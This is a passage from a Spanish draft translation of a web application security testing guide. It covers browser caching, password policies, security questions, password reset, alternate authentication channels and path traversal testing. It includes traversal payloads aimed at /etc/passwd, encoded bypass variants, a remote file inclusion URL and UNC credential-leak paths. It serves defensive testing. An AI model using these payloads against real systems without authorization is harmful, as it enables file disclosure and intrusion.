Si pulsamos el botón "Back", el evaluador puede acceder a páginas anteriores, pero no acceder a las nuevas; entonces no es un problema de autenticación, sino un problema de historia del navegador. Si estas páginas contienen datos sensibles, esto significa que la aplicación no le prohibió al navegador su almacenamiento.
La autenticación no debe, necesariamente, estar implicada en la prueba. Por ejemplo, cuando un usuario introduce su dirección de correo electrónico para inscribirse a un boletín, esta información puede recuperarse si no se la maneja adecuadamente.
Resumen En esta fase el evaluador comprueba que la aplicación indique correctamente al navegador que no recuerde datos sensibles.
El botón "Atrás" puede detenerse para que no muestre datos sensibles. Esto puede hacerse mediante:
• Entregar la página a través de https. Los navegadores pueden almacenar información con fines de almacenamiento en caché e historia. El almacenamiento en caché se utiliza para mejorar el rendimiento; así la información que apareció previamente no necesita descargarse otra vez. Se utilizan mecanismos de historia para conveniencia del usuario, por lo que él puede ver exactamente lo que vio en el momento de obtener el recurso.
Si se muestra información sensible al usuario (como su dirección, datos de tarjeta de crédito, número de seguro social o usuario), esta información podría ser almacenada con fines de almacenamiento en caché o de historia y, por lo tanto, ser recuperables examinando la caché del navegador o pulsando el botón "Atrás" del navegador.
• Ajustando el Control de Caché: a "must-revalidate"
Cache de navegador Aquí los evaluadores comprueban que la aplicación no tiene fugas de datos sensibles hacia la caché del navegador. Para ello, pueden utilizar un proxy (como WebScarab) y buscar a través de las respuestas del servidor que pertenecen al tiempo de la sesión, verificando que para cada página que contenga información confidencial, el servidor instruyó al navegador para que no almacene los datos en caché. Una directiva de este tipo puede emitirse en los encabezados de respuesta HTTP: • Cache-Control: no-cache, no-store
Cómo probar Historia del navegador
• Expires: 0 • Pragma: no-cache
Técnicamente, el botón "Atrás" es una historia y no una memoria caché (ver http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13). La memoria caché y la historia son dos entidades diferentes. Sin embargo,
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 111
Guia de pruebas 4.0 "Borrador"
Estas directivas son generalmente robustas, aunque indicadores adicionales pueden ser necesarios para el encabezado Cache-Control para prevenir de una mejor manera los archivos vinculados persistentemente en el sistema de archivos. Estos incluyen: • Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, smaxage=0
Prueba de Caja Gris La metodología para la prueba es equivalente al caso de la Caja Negra, ya que en ambos escenarios los evaluadores tienen acceso completo a las cabeceras de respuesta del servidor y el código HTML. Sin embargo, con pruebas de Caja Gris, el evaluador puede tener acceso a las credenciales de la cuenta que les permitirá probar páginas sensibles que son accesibles sólo a usuarios autenticados.
HTTP/1.1: Herramientas Cache-Control: no-cache • OWASP Zed Attack Proxy • Firefox add-on CacheViewer2 HTTP/1.0: Pragma: no-cache Referencias Expires: <past date or illegal value (e.g., 0)> Libros Blancos • Caching in HTTP: w3.org Por ejemplo, si los evaluadores están probando una aplicación de comercio electrónico, deben buscar todas las páginas que contienen un número de tarjeta de crédito o alguna otra información financiera y comprobar que todas las páginas hacen cumplir la directiva de no-cache. Si encuentran páginas que contienen información crítica, pero que dejan de indicarle al navegador no almacenar su contenido en caché, ellos saben que la información sensible será almacenada en el disco, y pueden comprobar esto simplemente buscando la página en el caché del navegador.
La ubicación exacta donde se almacena esa información depende del sistema operativo del cliente y el navegador que se ha utilizado. Estos son algunos ejemplos:
Pruebas para determinar las políticas de contraseñas débiles (OTGAUTHN-007) Resumen El mecanismo de autenticación más frecuente y más fácilmente administrado es una contraseña estática. La contraseña representa las llaves del reino, pero a menudo es devaluada por los usuarios en nombre de la facilidad de uso. En cada uno de los últimos hacks de alto perfil que han revelado las credenciales de usuario, se lamenta que las contraseñas más comunes son: 123456, password y qwerty.
Objetivos de la prueba [1] Mozilla Firefox: • Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/ • Windows: C:\Documents and Settings\<user_name>\Local Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\Cache
Determine la resistencia de la aplicación contra ataques de fuerza bruta o adivinanza de contraseña usando diccionarios de contraseñas disponibles mediante la evaluación de los requerimientos de longitud, complejidad, reutilización y caducidad de las contraseñas.
[2] Internet Explorer: • C:\Documents and Settings\<user_name>\Local Settings\Temporary Internet Files
Cómo probar [1] ¿Qué caracteres son permitidos y prohibidos para usarse en una contraseña? ¿El usuario necesita utilizar caracteres de diferentes conjuntos de
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 112
Guia de pruebas 4.0 "Borrador"
caracteres como letras minúsculas y mayúsculas, dígitos y símbolos especiales? [2] ¿Con qué frecuencia puede un usuario cambiar su contraseña? ¿Qué tan rápido puede un usuario cambiar su contraseña después de un cambio anterior? Los usuarios pueden eludir requisitos de historial de contraseña cambiando su contraseña cinco veces seguidas para que después del último cambio de contraseña recuperen su contraseña inicial otra vez. [3] ¿Cuándo un usuario debe cambiar su contraseña? ¿Después de 90 días? ¿Después del bloqueo de la cuenta debido a un número excesivo de intentos de inicio de sesión? [4] ¿Con qué frecuencia puede un usuario reutilizar una contraseña? ¿La aplicación mantiene un historial de las ultimas ocho contraseñas utilizadas por el usuario? [5] ¿ Cuán diferente debe ser la nueva contraseña de la última contraseña usada? [6] ¿Se impide al usuario que utilice su nombre de usuario u otra información de la cuenta (como el primer o último nombre) en la contraseña?
Típicamente se generan con la creación de la cuenta y requieren que el usuario seleccione algunas de las preguntas previamente generadas y provea una respuesta adecuada. Puede permitir al usuario generar sus propios pares de preguntas y respuestas. Ambos métodos son propensos a inseguridades. Idealmente, las preguntas de seguridad deben generar respuestas que sólo son conocidas por el usuario y no pueden ser predichas o descubiertas por nadie más. Esto es más difícil de lo que suena.
Las preguntas y respuestas de seguridad se basan en el secreto de la respuesta. Las preguntas y respuestas deben elegirse de modo que las respuestas son sólo conocidas por el titular de la cuenta. Sin embargo, aunque muchas respuestas no sean públicamente conocidas, la mayoría de las preguntas que implementan los sitios web promueven respuestas que son de carácter privado.
Preguntas previamente generadas: La mayoría de preguntas previamente generadas son de naturaleza bastante simple y pueden llevar a respuestas inseguras. Por ejemplo:
Referencias • Brute Force Attacks: owasp.org • Password length & complexity: owasp.org
Remediación Para mitigar el riesgo de contraseñas fácilmente adivinables facilitando el acceso no autorizado, hay dos soluciones: introducir controles de autenticación adicionales (es decir, autenticación de dos factores) o introducir una política de contraseñas fuertes. El más simple y más barato de estos es la introducción de una política de contraseña fuerte que asegura la longitud, la complejidad, la reutilización y la caducidad de la contraseña.
Pruebas para determinar la seguridad débil de pregunta/respuesta (OTG-AUTHN-008) Resumen A menudo llamadas preguntas y respuestas "secretas", las preguntas y respuestas de seguridad se utilizan frecuentemente para recuperar contraseñas olvidadas (véase Pruebas para determinar un cambio débil de contraseña o funciones de restablecimiento (OTG-AUTHN-009)), o como seguridad adicional por encima de la contraseña.
• Las respuestas pueden ser conocidas por los familiares o amigos cercanos del usuario, por ejemplo, "¿Cuál es el apellido de soltera de su madre?", "¿Cuál es su fecha de nacimiento?" • Las respuestas pueden ser fácilmente predecibles, e.g. "¿Cuál es su color favorito?", "¿Cuál es su equipo favorito de béisbol?" • Las respuestas pueden ser atacadas con fuerza bruta, por ejemplo, "¿Cuál es el nombre de su profesora favorita de secundaria?" - La respuesta está probablemente en alguna lista fácilmente descargable de nombres populares y, por lo tanto, un ataque de fuerza bruta simple puede secuenciarse en un script. • Las respuestas pueden ser públicamente visibles, por ejemplo, ¿cuál es su película favorita?"- la respuesta puede encontrarse fácilmente en la página de perfil de redes sociales del usuario.
Preguntas generadas por el usuario: El problema de pedir a los usuarios que generen sus propias preguntas es que les permite generar interrogantes muy inseguras, o incluso desviar la idea de tener una pregunta de seguridad en primer lugar. Aquí están algunos ejemplos del mundo real que ilustran este punto:
• “Cuánto es 1+1?” • “¿Cuál es tu nombre de usuario?” • “Mi clave es M3@t$p1N”
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 113
Guia de pruebas 4.0 "Borrador"
[1] ¿La aplicación permite al usuario elegir la pregunta que desea contestar? Si es así, concéntrese en las preguntas que tienen: Cómo probar Pruebas de preguntas débiles previamente generadas: Trate de obtener una lista de preguntas de seguridad mediante la creación de una nueva cuenta o siguiendo el proceso de “I don’t remember my password” (no recuerdo mi contraseña). Trate de generar tantas preguntas como sea posible para obtener una buena idea del tipo de preguntas de seguridad que se hacen. Si alguna de las preguntas de seguridad cae en las categorías descritas anteriormente, son vulnerables a ser atacadas (adivinadas,ataque de fuerza bruta, disponible en las redes sociales, etc.).
• Una respuesta "pública"; por ejemplo, algo que se podía encontrar con una consulta simple en un motor de búsqueda. • Una respuesta objetiva como la "primera escuela" u otros hechos que pueden consultarse. • Algunas posibles respuestas, tales como "qué modelo fue su primer automóvil". Estas preguntas dan al atacante una lista corta de posibles respuestas y, basado en estadísticas, el atacante podría calificar las respuestas de más a menos probables.
[2] Determine, si es posible, cuántos intentos de adivinar tiene. Pruebas de preguntas débiles generadas por el usuario: Trate de crear preguntas de seguridad al crear una cuenta nueva o mediante la configuración de propiedades de recuperación de contraseña de su cuenta. Si el sistema le permite al usuario generar sus propias preguntas de seguridad, es vulnerable a crear preguntas inseguras. Si el sistema utiliza las preguntas de seguridad generadas durante la funcionalidad de contraseña olvidada, y si se pueden enumerar nombres de usuario (vea Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)), entonces debería ser fácil para el evaluador enumerar una serie de preguntas generadas. Al utilizar este método, es probable encontrar varias preguntas débiles.
Pruebas de respuestas suceptibles a ataques de fuerza bruta:
• ¿El reinicio de la contraseña permite intentos ilimitados? • ¿Existe un período de bloqueo después de X respuestas incorrectas? Tenga en cuenta que un sistema de bloqueo puede ser un problema de seguridad por sí mismo, ya que puede ser explotado por un atacante para lanzar una ataque de negación de servicio contra los usuarios legítimos.
[3] Elija la pregunta más adecuada, basada en el análisis de los puntos anteriores y realice investigaciones para determinar las respuestas más probables.
Use los métodos descritos en Pruebas para determinar un mecanismo de bloqueo débil (OTG-AUTHN-003) para determinar si un número de respuestas de seguridad incorrectamente suministradas activan un mecanismo de bloqueo.
La clave para explotar con éxito y eludir un esquema de preguntas de seguridad débil es encontrar una pregunta o un conjunto de preguntas que dan la posibilidad de encontrar fácilmente las respuestas. Siempre busque preguntas que puedan dar la mayor probabilidad estadística de adivinar la respuesta correcta si está totalmente inseguro de alguna de las respuestas. Al final, un esquema de preguntas de seguridad es sólo tan fuerte como el más débil.
Lo primero que debe tomar en cuenta cuando se trata de explotar preguntas de seguridad es el número de preguntas que necesitan ser contestadas. La mayoría de las aplicaciones únicamente necesita que el usuario responda una sola pregunta, mientras que algunas aplicaciones críticas pueden requerir al usuario responder dos o más preguntas.
Referencias The Curse of the Secret Question: https://www.schneier.com/essays/archives/2005/02/the_curse_of_the_sec.htm l
El siguiente paso es evaluar la solidez de las preguntas de seguridad. ¿Las respuestas se obtendrían por una simple búsqueda en Google o con ataque de ingeniería social? Como evaluador de penetración, este es un tutorial paso a paso de cómo explotar un esquema de preguntas de seguridad:
Pruebas para determinar un cambio débil de contraseña o funciones de restablecimiento (OTG-AUTHN-009) Resumen
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 114
Guia de pruebas 4.0 "Borrador"
El cambio de contraseña y la función de restablecimiento de una aplicación es un autoservicio de cambio de contraseña o un mecanismo de restablecimiento para los usuarios. Este mecanismo de autoservicio permite a los usuarios cambiar o restablecer rápidamente la contraseña sin que un administrador intervenga. Cuando se cambian las contraseñas se cambian típicamente dentro de la aplicación. Cuando las contraseñas se restablecen son presentadas dentro de la aplicación o por correo electrónico al usuario. Esto puede indicar que las contraseñas se almacenan en texto plano o formato desencriptable.
Objetivos de la prueba [1] Determine la resistencia de la aplicación a la subversión del proceso de cambio de la cuenta permitiendo a una persona cambiar la contraseña de una cuenta. [2] Determine la resistencia de la función de restablecimiento de contraseñas contra el que puedan eludir o adivinar.
Por otro lado, si se utilizan preguntas secretas, el siguiente paso es evaluar su solidez. Esta prueba específica se discute en el párrafo de Probando la Seguridad Débil de Pregunta/Respuesta de esta guía.
• ¿Cómo se comunican las contraseñas restablecidas al usuario?
El escenario más inseguro aquí es si la herramienta de restablecimiento de contraseña le muestra la contraseña; esto le da al atacante la posibilidad de acceder a la cuenta y, a menos que la aplicación proporcione información sobre el último registro de acceso, la víctima no sabría que su cuenta ha sido comprometida.
Un escenario menos inseguro es si la herramienta de restablecimiento de contraseña obliga al usuario a cambiar inmediatamente su contraseña. Aunque no tan sigilosamente como el primer caso, permite al atacante obtener acceso y bloquer al usuario real.
Cómo probar Tanto para el cambio de contraseña como para restablecer la contraseña, es importante verificar:
[1] Si los usuarios, que no son administradores, pueden cambiar o restablecer contraseñas para cuentas que no sean la propia.
La mejor seguridad se logra si el restablecimiento de contraseña se realiza a través de un correo electrónico a la dirección del usuario inicialmente registrado o a alguna dirección de correo electrónico; Esto fuerza al atacante no sólo a adivinar a qué correo fue enviado el restablecimiento de contraseña de la cuenta (a menos que la aplicación muestre esta información), sino también a comprometer la cuenta de correo electrónico, con el fin de obtener la contraseña temporal o el vínculo para restablecer la contraseña.
[2] Si los usuarios pueden manipular o subvertir el cambio de contraseña o restablecer el proceso para cambiar o restablecer la contraseña de otro usuario o administrador. •¿ Son las contraseñas de restablecimiento generadas al azar? [3] Si el cambio de contraseña o reinicio del proceso es vulnerable a CSRF.
Pruebe el reinicio de contraseña Adicionalmente a las revisiones anteriores, es importante verificar lo siguiente:
• ¿ ué información es necesaria para restablecer la contraseña?
El primer paso es comprobar si se requieren preguntas secretas. El envío de la contraseña (o un enlace de restablecimiento de contraseña) a la dirección de correo electrónico del usuario, sin preguntar primero una pregunta secreta, es confiar 100% en la seguridad de la dirección de correo electrónico, que no es conveniente si la aplicación necesita un alto nivel de seguridad.
El escenario más inseguro aquí es si la aplicación envía o visualiza la contraseña antigua en texto claro, porque esto significa que las contraseñas no se almacenan en una forma de hash, que es un problema de seguridad en sí mismo.
La mejor seguridad se logra si las contraseñas se generan aleatoriamente con un algoritmo seguro que no se puede derivar.
• ¿La función de restablecimiento de contraseña solicita confirmación antes de cambiar la contraseña?
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 115
Guia de pruebas 4.0 "Borrador"
Para limitar los ataques de negación de servicio, la aplicación debe enviar por correo electrónico un enlace al usuario con una ficha al azar y, sólo si el usuario visita el enlace, entonces el procedimiento de reinicio se ha completado. Esto asegura que la contraseña actual seguirá siendo válida hasta que el restablecimiento haya sido confirmado.
Los canales alternativos de interacción del usuario podrían utilizarse para eludir el canal primario o exponer información que puede utilizarse para ayudar a un ataque contra el canal primario. Algunos de estos canales pueden ser aplicaciones web independientes, mediante nombres o rutas de alojamiento diferentes. Por ejemplo:
Pruebe el cambio de contraseña Adicionalmente a la prueba anterior, es importante verificar:
• Página web estándar • Sitio web optimizado para dispositivos móviles o dispositivos específicos
• ¿ La contraseña anterior es solicitada para completar el cambio?
• Sitio web de accesibilidad optimizada • Sitios web de país e idioma alternativos
El escenario más inseguro aquí es si la aplicación permite el cambio de la contraseña sin solicitar la contraseña actual. De hecho, si un atacante es capaz de tomar el control de una sesión válida, podría cambiar fácilmente la contraseña de la víctima.
Véase también el párrafo Probando políticas de contraseñas débiles de esta guía.
• Sitios web paralelos que utilizan el mismo usuario (por ejemplo, otra página web que ofrece diferentes funcionalidades de la misma organización, un sitio web de un socio con el que se comparten cuentas de usuario) • Desarrollo, prueba, UAT y puesta en escena de las versiones de la página web estándar
Pero también podría haber otro tipo de aplicaciones o procesos del negocio:
Referencias
• Aplicación para dispositivos móviles
• OWASP Forgot Password Cheat Sheet
• Aplicación de escritorio
• OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery
• Operadores de centros de llamadas (call center) • Sistemas de respuesta de voz interactiva o sistemas de árboles de llamadas telefónicas
Remediación El cambio de contraseña o función de restablecimiento es una función sensible y requiere algún tipo de protección, tal como que los usuarios tengan que volver a autenticarse o que se presente al usuario pantallas de confirmación durante el proceso.
Tome en cuenta que el objetivo de esta prueba está en los canales alternativos; algunas alternativas de autenticación pueden aparecer ya que hay diferente contenido entregado por el mismo sitio web y seguramente estarán en la mira de pruebas. Estas no se discutirán más a fondo aquí y deben haber sido identificadas durante las pruebas de recolección de información y autenticación primarias. Por ejemplo:
Pruebas para determinar la autenticación más débil en un canal alternativo (OTG-AUTHN-010) Resumen Incluso si los mecanismos de autenticación primaria no incluyen vulnerabilidades, puede ser que las vulnerabilidades existan en canales alternativos de autenticación legítima para la misma cuenta del usuario. Deben realizarse pruebas para identificar canales alternativos y, conforme a la prueba de evaluación, identificar las vulnerabilidades.
• El progresivo enriquecimiento y la degradación que cambian la funcionalidad • Uso del sitio sin cookies • Uso del sitio sin JavaScript • Uso del sitio sin plugins Flash y Java
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 116
Guia de pruebas 4.0 "Borrador"
Aunque el alcance de la prueba no permita probar a los canales alternativos, su existencia debe ser documentada. Estos pueden debilitar el grado de fiabilidad en los mecanismos de autenticación y pueden ser un precursor de pruebas adicionales.
Ejemplo:
• Use motores de búsqueda para encontrar sitios web diferentes de la misma organización o que usen el mismo nombre de dominio, que tienen similar contenido en la página de inicio o que disponen de mecanismos de autenticación.
Para cada posible canal, confirme si las cuentas de usuario son compartidas a través de éstos, o proporcionan acceso a la misma o similar funcionalidad.
El sitio web principal es: http://www.example.com
Enumere la funcionalidad de autenticación
y las funciones de autenticación siempre ocurren en páginas que utilizan Transport Layer Security:
Para cada canal alternativo donde se comparten las cuentas de usuario o funcionalidad, identifique si se dispone de todas las funciones de autenticación del canal principal y si existe algo más. Puede ser útil crear una cuadrícula como la siguiente:
https://www.example.com/myaccount/
Sin embargo, un sitio web optimizado para móvil independiente existe y no usa Transport Layer Security y dispone de un mecanismo de recuperación de contraseña más débil:
phpBB
Móvil
Centro de llamadas
Sitio web asociado
Registro
Si
-
-
Abrir sesion
Si
Si
Si (SSO)
Cerrar sesión
-
-
-
Reestablecer contraseña
Si
Si
-
Cambio de Contraseña
-
-
http://m.example.com/myaccount/
Cómo probar Entienda el mecanismo primario Pruebe completamente las funciones de autenticación primaria del sitio web. Esto debe identificar cómo se emiten, crean o cambian las cuentas y cómo se recuperan, restablecen o cambian las contraseñas. Además, debe conocerse cualquier privilegio elevado de las medidas de autenticación y de protección de autenticación. Estos precursores son necesarios para poder compararlos con los canales alternativos.
Identifique otros canales Otros canales pueden encontrarse mediante los métodos siguientes: • Lea el contenido del sitio, especialmente la página de inicio, contáctenos, páginas de ayuda, artículos y preguntas frecuentes (FAQs) , T & Cs, avisos de privacidad, los archivos robots.txt y sitemap.xml • Busque registros proxy HTTP, grabados durante la recopilación de información y pruebas previas, con las cadenas como "mobile", "android", blackberry", "ipad", "iphone", “mobile app”, “e-reader”, “wireless”, “auth”, “sso”, “single sign on” en rutas de URL y contenido.
En este ejemplo, el móvil tiene una función extra: "cambiar la contraseña", pero no ofrece "desconectarse". Un número limitado de tareas también son posibles llamando al centro de llamadas. Los centros de llamadas pueden ser interesantes, porque sus controles de confirmación de identidad podrían ser más débiles que los de la página web, lo cual permite que este canal sea utilizado para un ataque contra la cuenta de un usuario.
Mientras se enumeran estos, vale la pena tomar nota de cómo se lleva a cabo el manejo de sesiones, en caso de que haya una superposición a través de cualquier canal (cookies destinadas al mismo nombre de dominio padre, sesiones simultáneas permitidas a través de canales, pero no en el mismo canal).
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 117
Guia de pruebas 4.0 "Borrador"
Revise y pruebe Los canales alternativos deben mencionarse en el informe de prueba, incluso si están marcados como "solo informativos" y/o "fuera del alcance". En algunos casos, el alcance de la prueba podría incluir el canal alternativo (por ejemplo, porque es una ruta en el nombre del alojamiento de destino), o pueden añadirse al ámbito después de la discusión con los dueños de los canales. Si la prueba se permite y autoriza, entonces todas las otras pruebas de autenticación en esta guía deben realizarse y compararse con el canal primario.
Casos de prueba relacionados Los casos de prueba para todas las pruebas de autenticación deben ser utilizados.
Tradicionalmente, los servidores web y aplicaciones web implementan mecanismos de autenticación para controlar el acceso a archivos y recursos. Los servidores web tratan de limitar los archivos de los usuarios dentro de un "directorio raíz" o "raíz del documento web ", que representa un directorio físico en el sistema de archivos. Los usuarios deben considerar este directorio como el directorio base en la estructura jerárquica de la aplicación web.
La definición de los privilegios se realiza mediante LISTAS DE Control de acceso (ACL) que identifican qué usuarios o grupos se supone que deben tener acceso, modificar o ejecutar un archivo en el servidor. Estos mecanismos están diseñados para evitar que usuarios malintencionados tengan acceso a archivos sensibles (por ejemplo, el archivo común /etc/passwd en una plataforma tipo UNIX) o para evitar la ejecución de comandos del sistema.
Remediación Asegúrese de que se aplique una política de autenticación consistente en todos los canales para que sean igualmente seguros.
Cómo probar la autorización Autorización es el concepto de permitir acceso a los recursos, sólo a aquellos permitidos para utilizarlos. Probando la autorización significa comprender cómo funciona el proceso de autorización y usar esa información para eludir el mecanismo de autorización.
La autorización es un proceso que viene después de una autenticación correcta, por lo que el evaluador verifica este punto después de tener credenciales válidas, asociadas a un conjunto bien definido de roles y privilegios. En este tipo de evaluación, se debe verificar si es posible eludir el esquema de autorización, encontrando una vulnerabilidad de ruta de circulación, o encontrar maneras de aumentar los privilegios asignados al evaluador.
Probar la inclusión de archivos de directorio de circulación(OTGAUTHZ-001) Resumen Muchas aplicaciones web usan y administran archivos como parte de su operación diaria. Usando métodos de validación de entrada que no han sido bien diseñados o implementados, un agresor podría aprovechar el sistema para leer o escribir archivos que no están diseñados para ser accesibles. En situaciones particulares, podría ser posible ejecutar un código arbitrario o comandos del sistema.
Muchas aplicaciones web utilizan secuencias de comandos de servidor para incluir diferentes tipos de archivos. Es muy común utilizar este método para administrar imágenes, plantillas, cargar textos estáticos y así sucesivamente. Desafortunadamente, estas aplicaciones exponen las vulnerabilidades de seguridad si los parámetros de entrada (es decir, parámetros de los formularios, valores de cookies) no son validados correctamente.
En servidores web y aplicaciones web, este tipo de problemas se presenta en ataques path de inclusión de archivos de circulación. Mediante la explotación de este tipo de vulnerabilidad, un atacante es capaz de leer directorios o archivos que normalmente no puede leer, acceder a los datos fuera de la raíz de documentos web o incluir secuencias de comandos y otros tipos de archivos desde sitios web externos.
Para el propósito de la guía de pruebas OWASP, sólo las amenazas de seguridad relacionadas con aplicaciones web se considerarán y no las amenazas a servidores web (por ejemplo, la infame "%5 escape c code" en el servidor web IIS de Microsoft). Más sugerencias de lectura se proveerán en la sección de referencias para los lectores interesados.
Este tipo de ataque es también conocido como el ataque de punto-puntoslash (dot-dot-slash) (... /), salto de directorio, escalada de directorio o retroceso.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 118
Guia de pruebas 4.0 "Borrador"
Durante una evaluación, para descubrir fallas en el recorrido de circulación y los archivos, los evaluadores necesitan realizar dos etapas diferentes:
(a) Enumeración de Vectores de Entrada (una evaluación sistemática de cada vector de entrada)
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJ gMSSPKVMV: TEMPLATE=flower Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
(b) Técnicas de Pruebas (una evaluación metódica de cada técnica de ataque, utilizada por un atacante para explotar la vulnerabilidad)
Técnicas de pruebas Cómo probar Prueba de Caja Negra Enumeración de vectores de entrada Con el fin de determinar qué parte de la aplicación es vulnerable a eludir la validación de entrada, el evaluador debe enumerar todas las partes de la aplicación que aceptan el contenido por parte del usuario. Esto también incluye consultas HTTP GET y POST y opciones comunes como carga de archivos y formularios HTML.
Estos son algunos ejemplos de los controles a realizar en esta etapa:
• ¿Hay parámetros de solicitud que se podrían utilizar para las operaciones relacionadas con archivos?
La siguiente etapa de la prueba es analizar las funciones de validación de entrada presentes en la aplicación web. Usando el ejemplo anterior, la página dinámica llamada getUserProfile.jsp carga información estática de un archivo y muestra el contenido a los usuarios. Un atacante podría insertar la cadena maliciosa "... /.. /.. /.. / etc/passwd" para incluir el archivo de contraseñas hash de un sistema Linux/UNIX. Obviamente, este tipo de ataque sólo es posible si el punto de control de validación falla. Según los privilegios de sistema de archivos, la aplicación web debe ser capaz de leer el archivo.
Para comprobar con éxito esta falla, el evaluador debe tener conocimiento del sistema que está sometido a prueba y la ubicación de los archivos que se solicitan. No tiene ningún sentido solicitar /etc/passwd de un servidor web IIS.
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
• ¿Hay extensiones de archivo inusuales? • ¿Hay nombres de variables interesantes?
http://example.com/getUserProfile.jsp?item=ikki.html http://example.com/index.php?file=content
Para el ejemplo de cookies:
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
http://example.com/main.cgi?home=index.htm
¿• Es posible identificar las cookies utilizadas por la aplicación web para la generación dinámica de páginas o plantillas?
También es posible incluir archivos y secuencias de comandos ubicadas en sitios externos.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 119
Guia de pruebas 4.0 "Borrador"
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
root directory: “<drive letter>:” directory separator: “:
El siguiente ejemplo demostrará cómo es posible mostrar el código fuente de un componente CGI, sin utilizar los caracteres de ruta de circulación.
Debemos tomar en cuenta los mecanismos de codificación de los siguientes caracteres:
http://example.com/main.cgi?home=main.cgi • URL encoding and double URL encoding
%2e%2e%2f represents ../
El componente llamado "main.cgi" está situado en el mismo directorio como el de los archivos estáticos HTML normales utilizados en la aplicación. En algunos casos, el evaluador debe codificar las peticiones utilizando caracteres especiales (como el "." dot, "% 00" null,...) para evitar controles de extensión de archivo o para evitar la ejecución del script.
%2e%2e/ represents ../ ..%2f represents ../ %2e%2e%5c represents ..\ %2e%2e\ represents ..\ ..%5c represents ..\
Sugerencia: Es un error común de los programadores no esperar todas las formas de codificación y, por lo tanto, solo hacer validación de contenido codificado básico. Si al principio la secuencia de la prueba no es exitosa, pruebe con otro esquema de codificación. Cada sistema operativo utiliza caracteres diferentes como separadores de ruta:
%252e%252e%255c represents ..\ ..%255c represents ..\ and so on.
• Unicode/UTF-8 Encoding (solo funciona en sistemas que aceptan secuencias UTF-8 alargadas)
Unix-like OS: ..%c0%af represents ../ root directory: “/”
..%c1%9c represents ..\
directory separator: “/”
Windows OS’ Shell’: root directory: “<drive letter>:\” directory separator: “\” or “/”
Hay otros sistemas operativos y aplicaciones con frameworks con consideraciones específicas. Por ejemplo, Windows es flexible en su análisis de rutas de archivo.
• Shell de Windows: anexa cualquiera de las siguientes rutas utilizadas en los resultados de un comando de shell sin crear ninguna diferencia en la función: • Los signos de ángulo ">" y "<" al final de la ruta
Classic Mac OS:
• Dobles comillas (debidamente cerradas) al final de la ruta • Marcadores extraños del directorio actual como". /" o ". \"
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 120
Guia de pruebas 4.0 "Borrador"
• Marcadores extraños del directorio parental con elementos arbitrarios que pueden o no existir
• Puede ser equivalente a una letra de unidad como c:\, o incluso a un volumen de disco sin una letra asignada.
\\.\GLOBALROOT\Device\HarddiskVolume1\ Ejemplos: – file.txt – file.txt...
• Se refiere a la primera unidad de disco en la máquina.
– file.txt<spaces> – file.txt””””
\\.\CdRom0\
– file.txt<<<>>>< – ./././file.txt – nonexistant/../file.txt
• Windows API: los siguientes elementos son desechados cuando se utilizan en cualquier comando shell o llamada a la API, donde se toma una cadena como un nombre de archivo:
periodos
Pruebas de Caja Gris Cuando el análisis se realiza con un enfoque de Caja Gris, los evaluadores tienen que seguir la misma metodología que en las pruebas de Caja Negra. Sin embargo, puesto que pueden revisar el código fuente, es posible buscar los vectores de entrada (etapa (a) de la prueba) más fácilmente y con precisión. Durante una revisión de código fuente, pueden utilizar herramientas simples (como el comando grep) para buscar uno o más patrones comunes dentro del código de la aplicación: la inclusión de funciones/métodos, operaciones de sistema de archivos y demás.
espacios PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... JSP/Servlet: java.io.File(), java.io.FileReader(), ... • Windows UNC Filepaths: utilizado para referenciar archivos en recursos compartidos SMB. A veces, se puede hacer una aplicación para referirse a archivos en una ruta UNC remota. Si es así, el servidor SMB de Windows puede enviar las credenciales almacenadas al atacante, que pueden ser capturadas y penetradas. Estos también pueden ser utilizados con una dirección IP autorreferenciada o con un nombre de dominio para evitar los filtros, o utilizarlos para tener acceso a archivos en recursos compartidos SMB, inaccesibles al atacante, pero accesibles desde el servidor web.
\\server_or_ip\path\to\file.abc
ASP: include file, include virtual, ...
Utilizando motores de búsqueda de código en línea (por ejemplo, Ohloh Code[1]), es también posible encontrar fallas en la ruta de circulación en el software de código abierto publicado en Internet.
\\?\server_or_ip\path\to\file.abc Para PHP, los evaluadores pueden utilizar:
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_(GET|POST|COOKIE) • Windows NT Device Namespace: Se utiliza para referirse al espacio de nombres de dispositivo de Windows. Ciertas referencias permiten el acceso a sistemas de archivos utilizando una ruta diferente.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 121
Guia de pruebas 4.0 "Borrador"
code.google.com Usando el método de pruebas de Caja Gris, es posible descubrir las vulnerabilidades que son generalmente más difíciles de hallar, o incluso imposibles de encontrar durante una evaluación estándar de la Caja Negra.
• Web Proxy (Burp Suite[2], Paros[3], WebScarab[4], OWASP: Zed Attack Proxy (ZAP)[5]) • Enconding/Decoding tools • String searcher “grep” - gnu.org
Algunas aplicaciones web generan páginas dinámicas utilizando valores y parámetros almacenados en una base de datos. Es posible insertar cadenas de ruta de circulación especialmente diseñadas cuando la aplicación añade datos a la base de datos. Este tipo de problema de seguridad es difícil de descubrir debido a que los parámetros dentro de las funciones de inclusión parecen internos y "seguros", pero no lo son en realidad.
Además, revisando el código fuente es posible analizar las funciones que se supone deben manejar las entradas inválidas: algunos desarrolladores tratan de cambiar la entrada inválida para que sea válida, evitando avisos y errores. Estas funciones son generalmente propensas a fallas de seguridad.
Considere una aplicación web con estas instrucciones:
